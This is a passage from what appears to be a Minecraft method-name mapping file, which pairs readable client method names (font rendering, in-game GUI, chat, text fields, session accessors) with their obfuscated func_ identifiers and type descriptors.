net/minecraft/client/LoadingScreenRenderer/setDoneWorking ()V net/minecraft/client/LoadingScreenRenderer/func_146586_a ()V +MD: net/minecraft/client/LoadingScreenRenderer/setLoadingProgress (I)V net/minecraft/client/LoadingScreenRenderer/func_73718_a (I)V +MD: net/minecraft/client/LoadingScreenRenderer/displaySavingString (Ljava/lang/String;)V net/minecraft/client/LoadingScreenRenderer/func_73720_a (Ljava/lang/String;)V +MD: net/minecraft/client/LoadingScreenRenderer/resetProgressAndMessage (Ljava/lang/String;)V net/minecraft/client/LoadingScreenRenderer/func_73721_b (Ljava/lang/String;)V +MD: net/minecraft/client/LoadingScreenRenderer/displayLoadingString (Ljava/lang/String;)V net/minecraft/client/LoadingScreenRenderer/func_73719_c (Ljava/lang/String;)V +MD: net/minecraft/client/LoadingScreenRenderer/displayString (Ljava/lang/String;)V net/minecraft/client/LoadingScreenRenderer/func_73722_d (Ljava/lang/String;)V +MD: net/minecraft/util/ScreenShotHelper/getTimestampedPNGFileForDirectory (Ljava/io/File;)Ljava/io/File; net/minecraft/util/ScreenShotHelper/func_74290_a (Ljava/io/File;)Ljava/io/File; +MD: net/minecraft/util/ScreenShotHelper/saveScreenshot (Ljava/io/File;IILnet/minecraft/client/shader/Framebuffer;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ScreenShotHelper/func_148260_a (Ljava/io/File;IILnet/minecraft/client/shader/Framebuffer;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ScreenShotHelper/saveScreenshot (Ljava/io/File;Ljava/lang/String;IILnet/minecraft/client/shader/Framebuffer;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ScreenShotHelper/func_148259_a (Ljava/io/File;Ljava/lang/String;IILnet/minecraft/client/shader/Framebuffer;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/Timer/updateTimer ()V net/minecraft/util/Timer/func_74275_a ()V +MD: net/minecraft/util/Session$Type/setSessionType (Ljava/lang/String;)Lnet/minecraft/util/Session$Type; net/minecraft/util/Session$Type/func_152421_a (Ljava/lang/String;)Lnet/minecraft/util/Session$Type; +MD: net/minecraft/util/Session$Type/values ()[Lnet/minecraft/util/Session$Type; net/minecraft/util/Session$Type/values ()[Lnet/minecraft/util/Session$Type; +MD: net/minecraft/util/Session/getSessionID ()Ljava/lang/String; net/minecraft/util/Session/func_111286_b ()Ljava/lang/String; +MD: net/minecraft/util/Session/getPlayerID ()Ljava/lang/String; net/minecraft/util/Session/func_148255_b ()Ljava/lang/String; +MD: net/minecraft/util/Session/getUsername ()Ljava/lang/String; net/minecraft/util/Session/func_111285_a ()Ljava/lang/String; +MD: net/minecraft/util/Session/getToken ()Ljava/lang/String; net/minecraft/util/Session/func_148254_d ()Ljava/lang/String; +MD: net/minecraft/util/Session/getProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/util/Session/func_148256_e ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/util/Session/getSessionType ()Lnet/minecraft/util/Session$Type; net/minecraft/util/Session/func_152428_f ()Lnet/minecraft/util/Session$Type; +MD: net/minecraft/client/gui/FontRenderer/getUnicodeFlag ()Z net/minecraft/client/gui/FontRenderer/func_82883_a ()Z +MD: net/minecraft/client/gui/FontRenderer/getCharWidth (C)I net/minecraft/client/gui/FontRenderer/func_78263_a (C)I +MD: net/minecraft/client/gui/FontRenderer/renderChar (CZ)F net/minecraft/client/gui/FontRenderer/func_181559_a (CZ)F +MD: net/minecraft/client/gui/FontRenderer/getUnicodePageLocation (I)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/gui/FontRenderer/func_111271_a (I)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/gui/FontRenderer/renderDefaultChar (IZ)F net/minecraft/client/gui/FontRenderer/func_78266_a (IZ)F +MD: net/minecraft/client/gui/FontRenderer/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/gui/FontRenderer/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/gui/FontRenderer/getStringWidth (Ljava/lang/String;)I net/minecraft/client/gui/FontRenderer/func_78256_a (Ljava/lang/String;)I +MD: net/minecraft/client/gui/FontRenderer/drawStringWithShadow (Ljava/lang/String;FFI)I net/minecraft/client/gui/FontRenderer/func_175063_a (Ljava/lang/String;FFI)I +MD: net/minecraft/client/gui/FontRenderer/drawString (Ljava/lang/String;FFIZ)I net/minecraft/client/gui/FontRenderer/func_175065_a (Ljava/lang/String;FFIZ)I +MD: net/minecraft/client/gui/FontRenderer/trimStringToWidth (Ljava/lang/String;I)Ljava/lang/String; net/minecraft/client/gui/FontRenderer/func_78269_a (Ljava/lang/String;I)Ljava/lang/String; +MD: net/minecraft/client/gui/FontRenderer/drawString (Ljava/lang/String;III)I net/minecraft/client/gui/FontRenderer/func_78276_b (Ljava/lang/String;III)I +MD: net/minecraft/client/gui/FontRenderer/drawSplitString (Ljava/lang/String;IIII)V net/minecraft/client/gui/FontRenderer/func_78279_b (Ljava/lang/String;IIII)V +MD: net/minecraft/client/gui/FontRenderer/renderStringAligned (Ljava/lang/String;IIIIZ)I net/minecraft/client/gui/FontRenderer/func_78274_b (Ljava/lang/String;IIIIZ)I +MD: net/minecraft/client/gui/FontRenderer/renderSplitString (Ljava/lang/String;IIIZ)V net/minecraft/client/gui/FontRenderer/func_78268_b (Ljava/lang/String;IIIZ)V +MD: net/minecraft/client/gui/FontRenderer/trimStringToWidth (Ljava/lang/String;IZ)Ljava/lang/String; net/minecraft/client/gui/FontRenderer/func_78262_a (Ljava/lang/String;IZ)Ljava/lang/String; +MD: net/minecraft/client/gui/FontRenderer/renderStringAtPos (Ljava/lang/String;Z)V net/minecraft/client/gui/FontRenderer/func_78255_a (Ljava/lang/String;Z)V +MD: net/minecraft/client/gui/FontRenderer/setUnicodeFlag (Z)V net/minecraft/client/gui/FontRenderer/func_78264_a (Z)V +MD: net/minecraft/client/gui/FontRenderer/getBidiFlag ()Z net/minecraft/client/gui/FontRenderer/func_78260_a ()Z +MD: net/minecraft/client/gui/FontRenderer/getColorCode (C)I net/minecraft/client/gui/FontRenderer/func_175064_b (C)I +MD: net/minecraft/client/gui/FontRenderer/renderUnicodeChar (CZ)F net/minecraft/client/gui/FontRenderer/func_78277_a (CZ)F +MD: net/minecraft/client/gui/FontRenderer/loadGlyphTexture (I)V net/minecraft/client/gui/FontRenderer/func_78257_a (I)V +MD: net/minecraft/client/gui/FontRenderer/getFormatFromString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/gui/FontRenderer/func_78282_e (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/gui/FontRenderer/renderString (Ljava/lang/String;FFIZ)I net/minecraft/client/gui/FontRenderer/func_180455_b (Ljava/lang/String;FFIZ)I +MD: net/minecraft/client/gui/FontRenderer/splitStringWidth (Ljava/lang/String;I)I net/minecraft/client/gui/FontRenderer/func_78267_b (Ljava/lang/String;I)I +MD: net/minecraft/client/gui/FontRenderer/setBidiFlag (Z)V net/minecraft/client/gui/FontRenderer/func_78275_b (Z)V +MD: net/minecraft/client/gui/FontRenderer/readFontTexture ()V net/minecraft/client/gui/FontRenderer/func_111272_d ()V +MD: net/minecraft/client/gui/FontRenderer/isFormatColor (C)Z net/minecraft/client/gui/FontRenderer/func_78272_b (C)Z +MD: net/minecraft/client/gui/FontRenderer/bidiReorder (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/gui/FontRenderer/func_147647_b (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/gui/FontRenderer/listFormattedStringToWidth (Ljava/lang/String;I)Ljava/util/List; net/minecraft/client/gui/FontRenderer/func_78271_c (Ljava/lang/String;I)Ljava/util/List; +MD: net/minecraft/client/gui/FontRenderer/readGlyphSizes ()V net/minecraft/client/gui/FontRenderer/func_98306_d ()V +MD: net/minecraft/client/gui/FontRenderer/isFormatSpecial (C)Z net/minecraft/client/gui/FontRenderer/func_78270_c (C)Z +MD: net/minecraft/client/gui/FontRenderer/trimStringNewline (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/gui/FontRenderer/func_78273_d (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/gui/FontRenderer/wrapFormattedStringToWidth (Ljava/lang/String;I)Ljava/lang/String; net/minecraft/client/gui/FontRenderer/func_78280_d (Ljava/lang/String;I)Ljava/lang/String; +MD: net/minecraft/client/gui/FontRenderer/resetStyles ()V net/minecraft/client/gui/FontRenderer/func_78265_b ()V +MD: net/minecraft/client/gui/FontRenderer/sizeStringToWidth (Ljava/lang/String;I)I net/minecraft/client/gui/FontRenderer/func_78259_e (Ljava/lang/String;I)I +MD: net/minecraft/client/gui/GuiIngame$1/apply (Lnet/minecraft/scoreboard/Score;)Z net/minecraft/client/gui/GuiIngame$1/apply (Lnet/minecraft/scoreboard/Score;)Z +MD: net/minecraft/client/gui/GuiIngame$1/apply (Ljava/lang/Object;)Z net/minecraft/client/gui/GuiIngame$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/client/gui/GuiIngame/setDefaultTitlesTimes ()V net/minecraft/client/gui/GuiIngame/func_175177_a ()V +MD: net/minecraft/client/gui/GuiIngame/renderGameOverlay (F)V net/minecraft/client/gui/GuiIngame/func_175180_a (F)V +MD: net/minecraft/client/gui/GuiIngame/renderVignette (FLnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_180480_a (FLnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/renderHotbarItem (IIIFLnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/client/gui/GuiIngame/func_175184_a (IIIFLnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/client/gui/GuiIngame/renderScoreboard (Lnet/minecraft/scoreboard/ScoreObjective;Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_180475_a (Lnet/minecraft/scoreboard/ScoreObjective;Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/renderSelectedItem (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_181551_a (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/renderTooltip (Lnet/minecraft/client/gui/ScaledResolution;F)V net/minecraft/client/gui/GuiIngame/func_180479_a (Lnet/minecraft/client/gui/ScaledResolution;F)V +MD: net/minecraft/client/gui/GuiIngame/renderHorseJumpBar (Lnet/minecraft/client/gui/ScaledResolution;I)V net/minecraft/client/gui/GuiIngame/func_175186_a (Lnet/minecraft/client/gui/ScaledResolution;I)V +MD: net/minecraft/client/gui/GuiIngame/setRecordPlaying (Lnet/minecraft/util/IChatComponent;Z)V net/minecraft/client/gui/GuiIngame/func_175188_a (Lnet/minecraft/util/IChatComponent;Z)V +MD: net/minecraft/client/gui/GuiIngame/setRecordPlayingMessage (Ljava/lang/String;)V net/minecraft/client/gui/GuiIngame/func_73833_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiIngame/displayTitle (Ljava/lang/String;Ljava/lang/String;III)V net/minecraft/client/gui/GuiIngame/func_175178_a (Ljava/lang/String;Ljava/lang/String;III)V +MD: net/minecraft/client/gui/GuiIngame/setRecordPlaying (Ljava/lang/String;Z)V net/minecraft/client/gui/GuiIngame/func_110326_a (Ljava/lang/String;Z)V +MD: net/minecraft/client/gui/GuiIngame/showCrosshair ()Z net/minecraft/client/gui/GuiIngame/func_175183_b ()Z +MD: net/minecraft/client/gui/GuiIngame/renderPortal (FLnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_180474_b (FLnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/renderDemo (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_175185_b (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/renderExpBar (Lnet/minecraft/client/gui/ScaledResolution;I)V net/minecraft/client/gui/GuiIngame/func_175176_b (Lnet/minecraft/client/gui/ScaledResolution;I)V +MD: net/minecraft/client/gui/GuiIngame/updateTick ()V net/minecraft/client/gui/GuiIngame/func_73831_a ()V +MD: net/minecraft/client/gui/GuiIngame/renderStreamIndicator (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_180478_c (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/getChatGUI ()Lnet/minecraft/client/gui/GuiNewChat; net/minecraft/client/gui/GuiIngame/func_146158_b ()Lnet/minecraft/client/gui/GuiNewChat; +MD: net/minecraft/client/gui/GuiIngame/renderPlayerStats (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_180477_d (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/getUpdateCounter ()I net/minecraft/client/gui/GuiIngame/func_73834_c ()I +MD: net/minecraft/client/gui/GuiIngame/renderPumpkinOverlay (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiIngame/func_180476_e (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiIngame/getFontRenderer ()Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/GuiIngame/func_175179_f ()Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/GuiIngame/getSpectatorGui ()Lnet/minecraft/client/gui/GuiSpectator; net/minecraft/client/gui/GuiIngame/func_175187_g ()Lnet/minecraft/client/gui/GuiSpectator; +MD: net/minecraft/client/gui/GuiIngame/getTabList ()Lnet/minecraft/client/gui/GuiPlayerTabOverlay; net/minecraft/client/gui/GuiIngame/func_175181_h ()Lnet/minecraft/client/gui/GuiPlayerTabOverlay; +MD: net/minecraft/client/gui/GuiIngame/resetPlayersOverlayFooterHeader ()V net/minecraft/client/gui/GuiIngame/func_181029_i ()V +MD: net/minecraft/client/gui/GuiIngame/renderBossHealth ()V net/minecraft/client/gui/GuiIngame/func_73828_d ()V +MD: net/minecraft/client/gui/Gui/drawTexturedModalRect (FFIIII)V net/minecraft/client/gui/Gui/func_175174_a (FFIIII)V +MD: net/minecraft/client/gui/Gui/drawModalRectWithCustomSizedTexture (IIFFIIFF)V net/minecraft/client/gui/Gui/func_146110_a (IIFFIIFF)V +MD: net/minecraft/client/gui/Gui/drawScaledCustomSizeModalRect (IIFFIIIIFF)V net/minecraft/client/gui/Gui/func_152125_a (IIFFIIIIFF)V +MD: net/minecraft/client/gui/Gui/drawHorizontalLine (IIII)V net/minecraft/client/gui/Gui/func_73730_a (IIII)V +MD: net/minecraft/client/gui/Gui/drawRect (IIIII)V net/minecraft/client/gui/Gui/func_73734_a (IIIII)V +MD: net/minecraft/client/gui/Gui/drawGradientRect (IIIIII)V net/minecraft/client/gui/Gui/func_73733_a (IIIIII)V +MD: net/minecraft/client/gui/Gui/drawTexturedModalRect (IILnet/minecraft/client/renderer/texture/TextureAtlasSprite;II)V net/minecraft/client/gui/Gui/func_175175_a (IILnet/minecraft/client/renderer/texture/TextureAtlasSprite;II)V +MD: net/minecraft/client/gui/Gui/drawCenteredString (Lnet/minecraft/client/gui/FontRenderer;Ljava/lang/String;III)V net/minecraft/client/gui/Gui/func_73732_a (Lnet/minecraft/client/gui/FontRenderer;Ljava/lang/String;III)V +MD: net/minecraft/client/gui/Gui/drawVerticalLine (IIII)V net/minecraft/client/gui/Gui/func_73728_b (IIII)V +MD: net/minecraft/client/gui/Gui/drawTexturedModalRect (IIIIII)V net/minecraft/client/gui/Gui/func_73729_b (IIIIII)V +MD: net/minecraft/client/gui/Gui/drawString (Lnet/minecraft/client/gui/FontRenderer;Ljava/lang/String;III)V net/minecraft/client/gui/Gui/func_73731_b (Lnet/minecraft/client/gui/FontRenderer;Ljava/lang/String;III)V +MD: net/minecraft/client/gui/MapItemRenderer$Instance/updateMapTexture ()V net/minecraft/client/gui/MapItemRenderer$Instance/func_148236_a ()V +MD: net/minecraft/client/gui/MapItemRenderer$Instance/access$000 (Lnet/minecraft/client/gui/MapItemRenderer$Instance;)V net/minecraft/client/gui/MapItemRenderer$Instance/access$000 (Lnet/minecraft/client/gui/MapItemRenderer$Instance;)V +MD: net/minecraft/client/gui/MapItemRenderer$Instance/access$100 (Lnet/minecraft/client/gui/MapItemRenderer$Instance;Z)V net/minecraft/client/gui/MapItemRenderer$Instance/access$100 (Lnet/minecraft/client/gui/MapItemRenderer$Instance;Z)V +MD: net/minecraft/client/gui/MapItemRenderer$Instance/render (Z)V net/minecraft/client/gui/MapItemRenderer$Instance/func_148237_a (Z)V +MD: net/minecraft/client/gui/MapItemRenderer$Instance/access$300 (Lnet/minecraft/client/gui/MapItemRenderer$Instance;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/gui/MapItemRenderer$Instance/access$300 (Lnet/minecraft/client/gui/MapItemRenderer$Instance;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/gui/MapItemRenderer/clearLoadedMaps ()V net/minecraft/client/gui/MapItemRenderer/func_148249_a ()V +MD: net/minecraft/client/gui/MapItemRenderer/updateMapTexture (Lnet/minecraft/world/storage/MapData;)V net/minecraft/client/gui/MapItemRenderer/func_148246_a (Lnet/minecraft/world/storage/MapData;)V +MD: net/minecraft/client/gui/MapItemRenderer/renderMap (Lnet/minecraft/world/storage/MapData;Z)V net/minecraft/client/gui/MapItemRenderer/func_148250_a (Lnet/minecraft/world/storage/MapData;Z)V +MD: net/minecraft/client/gui/MapItemRenderer/access$400 (Lnet/minecraft/client/gui/MapItemRenderer;)Lnet/minecraft/client/renderer/texture/TextureManager; net/minecraft/client/gui/MapItemRenderer/access$400 (Lnet/minecraft/client/gui/MapItemRenderer;)Lnet/minecraft/client/renderer/texture/TextureManager; +MD: net/minecraft/client/gui/MapItemRenderer/access$500 ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/gui/MapItemRenderer/access$500 ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/gui/MapItemRenderer/getMapRendererInstance (Lnet/minecraft/world/storage/MapData;)Lnet/minecraft/client/gui/MapItemRenderer$Instance; net/minecraft/client/gui/MapItemRenderer/func_148248_b (Lnet/minecraft/world/storage/MapData;)Lnet/minecraft/client/gui/MapItemRenderer$Instance; +MD: net/minecraft/client/gui/ScaledResolution/getScaledWidth ()I net/minecraft/client/gui/ScaledResolution/func_78326_a ()I +MD: net/minecraft/client/gui/ScaledResolution/getScaledHeight ()I net/minecraft/client/gui/ScaledResolution/func_78328_b ()I +MD: net/minecraft/client/gui/ScaledResolution/getScaledWidth_double ()D net/minecraft/client/gui/ScaledResolution/func_78327_c ()D +MD: net/minecraft/client/gui/ScaledResolution/getScaledHeight_double ()D net/minecraft/client/gui/ScaledResolution/func_78324_d ()D +MD: net/minecraft/client/gui/ScaledResolution/getScaleFactor ()I net/minecraft/client/gui/ScaledResolution/func_78325_e ()I +MD: net/minecraft/client/gui/GuiButton/isMouseOver ()Z net/minecraft/client/gui/GuiButton/func_146115_a ()Z +MD: net/minecraft/client/gui/GuiButton/setWidth (I)V net/minecraft/client/gui/GuiButton/func_175211_a (I)V +MD: net/minecraft/client/gui/GuiButton/mouseReleased (II)V net/minecraft/client/gui/GuiButton/func_146118_a (II)V +MD: net/minecraft/client/gui/GuiButton/drawButton (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiButton/func_146112_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiButton/playPressSound (Lnet/minecraft/client/audio/SoundHandler;)V net/minecraft/client/gui/GuiButton/func_146113_a (Lnet/minecraft/client/audio/SoundHandler;)V +MD: net/minecraft/client/gui/GuiButton/getHoverState (Z)I net/minecraft/client/gui/GuiButton/func_146114_a (Z)I +MD: net/minecraft/client/gui/GuiButton/getButtonWidth ()I net/minecraft/client/gui/GuiButton/func_146117_b ()I +MD: net/minecraft/client/gui/GuiButton/drawButtonForegroundLayer (II)V net/minecraft/client/gui/GuiButton/func_146111_b (II)V +MD: net/minecraft/client/gui/GuiButton/mouseDragged (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiButton/func_146119_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiButton/mousePressed (Lnet/minecraft/client/Minecraft;II)Z net/minecraft/client/gui/GuiButton/func_146116_c (Lnet/minecraft/client/Minecraft;II)Z +MD: net/minecraft/client/gui/GuiNewChat/clearChatMessages ()V net/minecraft/client/gui/GuiNewChat/func_146231_a ()V +MD: net/minecraft/client/gui/GuiNewChat/calculateChatboxWidth (F)I net/minecraft/client/gui/GuiNewChat/func_146233_a (F)I +MD: net/minecraft/client/gui/GuiNewChat/drawChat (I)V net/minecraft/client/gui/GuiNewChat/func_146230_a (I)V +MD: net/minecraft/client/gui/GuiNewChat/getChatComponent (II)Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/GuiNewChat/func_146236_a (II)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/GuiNewChat/printChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/gui/GuiNewChat/func_146227_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/gui/GuiNewChat/printChatMessageWithOptionalDeletion (Lnet/minecraft/util/IChatComponent;I)V net/minecraft/client/gui/GuiNewChat/func_146234_a (Lnet/minecraft/util/IChatComponent;I)V +MD: net/minecraft/client/gui/GuiNewChat/setChatLine (Lnet/minecraft/util/IChatComponent;IIZ)V net/minecraft/client/gui/GuiNewChat/func_146237_a (Lnet/minecraft/util/IChatComponent;IIZ)V +MD: net/minecraft/client/gui/GuiNewChat/addToSentMessages (Ljava/lang/String;)V net/minecraft/client/gui/GuiNewChat/func_146239_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiNewChat/refreshChat ()V net/minecraft/client/gui/GuiNewChat/func_146245_b ()V +MD: net/minecraft/client/gui/GuiNewChat/calculateChatboxHeight (F)I net/minecraft/client/gui/GuiNewChat/func_146243_b (F)I +MD: net/minecraft/client/gui/GuiNewChat/scroll (I)V net/minecraft/client/gui/GuiNewChat/func_146229_b (I)V +MD: net/minecraft/client/gui/GuiNewChat/getSentMessages ()Ljava/util/List; net/minecraft/client/gui/GuiNewChat/func_146238_c ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiNewChat/deleteChatLine (I)V net/minecraft/client/gui/GuiNewChat/func_146242_c (I)V +MD: net/minecraft/client/gui/GuiNewChat/resetScroll ()V net/minecraft/client/gui/GuiNewChat/func_146240_d ()V +MD: net/minecraft/client/gui/GuiNewChat/getChatOpen ()Z net/minecraft/client/gui/GuiNewChat/func_146241_e ()Z +MD: net/minecraft/client/gui/GuiNewChat/getChatWidth ()I net/minecraft/client/gui/GuiNewChat/func_146228_f ()I +MD: net/minecraft/client/gui/GuiNewChat/getChatHeight ()I net/minecraft/client/gui/GuiNewChat/func_146246_g ()I +MD: net/minecraft/client/gui/GuiNewChat/getChatScale ()F net/minecraft/client/gui/GuiNewChat/func_146244_h ()F +MD: net/minecraft/client/gui/GuiNewChat/getLineCount ()I net/minecraft/client/gui/GuiNewChat/func_146232_i ()I +MD: net/minecraft/client/gui/GuiUtilRenderComponents/splitText (Lnet/minecraft/util/IChatComponent;ILnet/minecraft/client/gui/FontRenderer;ZZ)Ljava/util/List; net/minecraft/client/gui/GuiUtilRenderComponents/func_178908_a (Lnet/minecraft/util/IChatComponent;ILnet/minecraft/client/gui/FontRenderer;ZZ)Ljava/util/List; +MD: net/minecraft/client/gui/GuiUtilRenderComponents/func_178909_a (Ljava/lang/String;Z)Ljava/lang/String; net/minecraft/client/gui/GuiUtilRenderComponents/func_178909_a (Ljava/lang/String;Z)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiOverlayDebug/renderDebugInfoLeft ()V net/minecraft/client/gui/GuiOverlayDebug/func_180798_a ()V +MD: net/minecraft/client/gui/GuiOverlayDebug/blendColors (IIF)I net/minecraft/client/gui/GuiOverlayDebug/func_181553_a (IIF)I +MD: net/minecraft/client/gui/GuiOverlayDebug/bytesToMb (J)J net/minecraft/client/gui/GuiOverlayDebug/func_175240_a (J)J +MD: net/minecraft/client/gui/GuiOverlayDebug/renderDebugInfo (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiOverlayDebug/func_175237_a (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiOverlayDebug/call ()Ljava/util/List; net/minecraft/client/gui/GuiOverlayDebug/call ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiOverlayDebug/renderDebugInfoRight (Lnet/minecraft/client/gui/ScaledResolution;)V net/minecraft/client/gui/GuiOverlayDebug/func_175239_b (Lnet/minecraft/client/gui/ScaledResolution;)V +MD: net/minecraft/client/gui/GuiOverlayDebug/getDebugInfoRight ()Ljava/util/List; net/minecraft/client/gui/GuiOverlayDebug/func_175238_c ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiOverlayDebug/getFrameColor (IIII)I net/minecraft/client/gui/GuiOverlayDebug/func_181552_c (IIII)I +MD: net/minecraft/client/gui/GuiOverlayDebug/isReducedDebug ()Z net/minecraft/client/gui/GuiOverlayDebug/func_175236_d ()Z +MD: net/minecraft/client/gui/GuiOverlayDebug/renderLagometer ()V net/minecraft/client/gui/GuiOverlayDebug/func_181554_e ()V +MD: net/minecraft/client/gui/GuiTextField/updateCursorCounter ()V net/minecraft/client/gui/GuiTextField/func_146178_a ()V +MD: net/minecraft/client/gui/GuiTextField/textboxKeyTyped (CI)Z net/minecraft/client/gui/GuiTextField/func_146201_a (CI)Z +MD: net/minecraft/client/gui/GuiTextField/deleteWords (I)V net/minecraft/client/gui/GuiTextField/func_146177_a (I)V +MD: net/minecraft/client/gui/GuiTextField/getNthWordFromPos (II)I net/minecraft/client/gui/GuiTextField/func_146183_a (II)I +MD: net/minecraft/client/gui/GuiTextField/mouseClicked (III)V net/minecraft/client/gui/GuiTextField/func_146192_a (III)V +MD: net/minecraft/client/gui/GuiTextField/func_146197_a (IIZ)I net/minecraft/client/gui/GuiTextField/func_146197_a (IIZ)I +MD: net/minecraft/client/gui/GuiTextField/func_175207_a (Lnet/minecraft/client/gui/GuiPageButtonList$GuiResponder;)V net/minecraft/client/gui/GuiTextField/func_175207_a (Lnet/minecraft/client/gui/GuiPageButtonList$GuiResponder;)V +MD: net/minecraft/client/gui/GuiTextField/setValidator (Lcom/google/common/base/Predicate;)V net/minecraft/client/gui/GuiTextField/func_175205_a (Lcom/google/common/base/Predicate;)V +MD: net/minecraft/client/gui/GuiTextField/setText (Ljava/lang/String;)V net/minecraft/client/gui/GuiTextField/func_146180_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiTextField/setEnableBackgroundDrawing (Z)V net/minecraft/client/gui/GuiTextField/func_146185_a (Z)V +MD: net/minecraft/client/gui/GuiTextField/getText ()Ljava/lang/String; net/minecraft/client/gui/GuiTextField/func_146179_b ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiTextField/deleteFromCursor (I)V net/minecraft/client/gui/GuiTextField/func_146175_b (I)V +MD: net/minecraft/client/gui/GuiTextField/writeText (Ljava/lang/String;)V net/minecraft/client/gui/GuiTextField/func_146191_b (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiTextField/setFocused (Z)V net/minecraft/client/gui/GuiTextField/func_146195_b (Z)V +MD: net/minecraft/client/gui/GuiTextField/getSelectedText ()Ljava/lang/String; net/minecraft/client/gui/GuiTextField/func_146207_c ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiTextField/getNthWordFromCursor (I)I net/minecraft/client/gui/GuiTextField/func_146187_c (I)I +MD: net/minecraft/client/gui/GuiTextField/drawCursorVertical (IIII)V net/minecraft/client/gui/GuiTextField/func_146188_c (IIII)V +MD: net/minecraft/client/gui/GuiTextField/setEnabled (Z)V net/minecraft/client/gui/GuiTextField/func_146184_c (Z)V +MD: net/minecraft/client/gui/GuiTextField/getId ()I net/minecraft/client/gui/GuiTextField/func_175206_d ()I +MD: net/minecraft/client/gui/GuiTextField/moveCursorBy (I)V net/minecraft/client/gui/GuiTextField/func_146182_d (I)V +MD: net/minecraft/client/gui/GuiTextField/setCanLoseFocus (Z)V net/minecraft/client/gui/GuiTextField/func_146205_d (Z)V +MD: net/minecraft/client/gui/GuiTextField/setCursorPositionZero ()V net/minecraft/client/gui/GuiTextField/func_146196_d ()V +MD: net/minecraft/client/gui/GuiTextField/setCursorPosition (I)V net/minecraft/client/gui/GuiTextField/func_146190_e (I)V +MD: net/minecraft/client/gui/GuiTextField/setVisible (Z)V net/minecraft/client/gui/GuiTextField/func_146189_e (Z)V +MD: net/minecraft/client/gui/GuiTextField/setCursorPositionEnd ()V net/minecraft/client/gui/GuiTextField/func_146202_e ()V +MD: net/minecraft/client/gui/GuiTextField/setMaxStringLength (I)V net/minecraft/client/gui/GuiTextField/func_146203_f (I)V +MD: net/minecraft/client/gui/GuiTextField/drawTextBox ()V net/minecraft/client/gui/GuiTextField/func_146194_f ()V +MD: net/minecraft/client/gui/GuiTextField/setTextColor (I)V net/minecraft/client/gui/GuiTextField/func_146193_g (I)V +MD: net/minecraft/client/gui/GuiTextField/getMaxStringLength ()I net/minecraft/client/gui/GuiTextField/func_146208_g ()I +MD: net/minecraft/client/gui/GuiTextField/setDisabledTextColour (I)V net/minecraft/client/gui/GuiTextField/func_146204_h (I)V +MD: net/minecraft/client/gui/GuiTextField/getCursorPosition ()I net/minecraft/client/gui/GuiTextField/func_146198_h ()I +MD: 